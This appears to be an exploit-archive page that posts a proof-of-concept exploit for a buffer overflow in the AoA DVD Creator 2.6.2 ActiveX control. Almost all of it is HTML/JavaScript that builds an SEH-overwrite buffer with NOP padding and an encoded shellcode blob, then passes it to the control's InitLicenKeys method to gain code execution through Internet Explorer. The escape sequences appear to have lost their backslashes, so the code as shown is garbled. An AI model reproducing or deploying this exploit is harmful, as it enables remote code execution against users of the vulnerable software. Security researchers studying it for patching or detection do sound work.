Home / exploitsPDF  

AoA DVD Creator 2.6.2 Active-X Overflow

Posted on 20 May 2014

# Exploit Title: AoA DVD Creator ActiveX
# Date: 19.05.2014
# Author: metacom
# Website: www.rstforums.com
# Software Link: www.aoamedia.com/aoadvdcreator.exe
# Version: 2.6.2
# Tested on: Windows xp sp3EN IE 6.0
<html>

<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target'></object>
<script language='javascript'>
nseh="xEBx06x90x90";
seh="x1fx5cx03x10";
nops="x90";
while (nops.length<10){ nops+="x90";}
shellcode =(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"+
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"+
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"+
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"+
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"+
"x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47"+
"x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38"+
"x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48"+
"x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c"+
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"+
"x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58"+
"x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44"+
"x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38"+
"x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33"+
"x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47"+
"x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a"+
"x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b"+
"x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53"+
"x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57"+
"x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39"+
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46"+
"x4ex46x43x36x42x50x5a");
buff="x41";
buff2="x42";
while (buff.length<2032){ buff+=buff;}
buff=buff.substring(0,2032);
buff2=buff;
while (buff2.length<2048){ buff2+=buff2;}
arg1="defaultV";
arg2="defaultV";
arg3=buff+nseh+seh+nops+shellcode+buff2;
arg4="defaultV";
arg5="defaultV";

target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );

</script>

 

TOP

Malware :

Exploits :